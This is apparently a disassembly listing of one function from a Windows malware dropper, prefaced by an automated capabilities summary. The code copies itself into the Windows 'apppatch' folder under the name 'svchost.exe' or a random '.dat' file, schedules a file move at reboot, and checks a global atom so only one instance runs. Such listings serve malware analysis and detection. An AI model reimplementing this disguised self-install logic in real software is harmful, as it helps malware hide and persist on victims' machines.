Function at 0x4021f0
Capabilities:
Check if file exists
Copy file
Delete file
Move file
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x338
xor eax, eax
push esi
push edi
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
push 0x1c
lea eax, [ebp - 0x20]
push eax
push str.DropperInternalInstallAsAdmin
mov dword [ebp - 0x20], 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edx, dword [ebp - 0x1c]
push 0x104
lea ecx, [ebp - 0x230]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.00401000
lea edx, [ebp - 0x128]
sub edx, eax
lea ebx, [ebx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x402250
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40237d
push 0x104
lea ecx, [ebp - 0x128]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
lea eax, [ebp - 0x128]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402288
mov edx, dword [str._apppatch_]
mov ecx, dword [0x403aa8]
mov dword [eax], edx
mov dx, word [0x403aac]
mov dword [eax + 4], ecx
mov cl, byte [0x403aae]
mov word [eax + 8], dx
push 0x403140
mov byte [eax + 0xa], cl
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x4022ea
push 0x403214
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4022ea
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 4], 0
je 0x40231b
lea eax, [ebp - 0x128]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4022f7
mov ecx, dword [str.svchost.exe]
mov edx, dword [0x403ab4]
mov dword [eax], ecx
mov ecx, dword [0x403ab8]
mov dword [eax + 4], edx
mov dword [eax + 8], ecx
jmp 0x40237d
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.004012b0
and eax, 1
add eax, 6
push eax
call fcn.00401300
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402335
lea edi, [ebp - 0x128]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402345
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x128]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402364
mov edx, dword [str..dat]
mov cl, byte [0x403ac0]
mov dword [eax], edx
mov byte [eax + 4], cl
lea edx, [ebp - 0x128]
push edx
push 0x403ac4
lea eax, [ebp - 0x338]
push 0x104
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
push 1
lea ecx, [ebp - 0x128]
push ecx
lea edx, [ebp - 0x230]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x40245f
lea esi, [ebp - 0x128]
call fcn.004020b0
mov eax, esi
push eax
call fcn.00401690
mov eax, esi
call fcn.004017b0
mov ecx, esi
push ecx
call fcn.00401820
push 4
mov edx, esi
push edx
lea eax, [ebp - 0x338]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 0x403140
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x402425
push 0x403214
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x402425
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 4], 0
je 0x402437
lea edx, [ebp - 0x128]
push edx
call fcn.00401390
push str.Mon_May__9_15:29:22_20111
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
je 0x402454
call fcn.00401d40
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.Mon_May__9_15:29:22_20111
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
pop edi
pop esi
mov esp, ebp
pop ebp
ret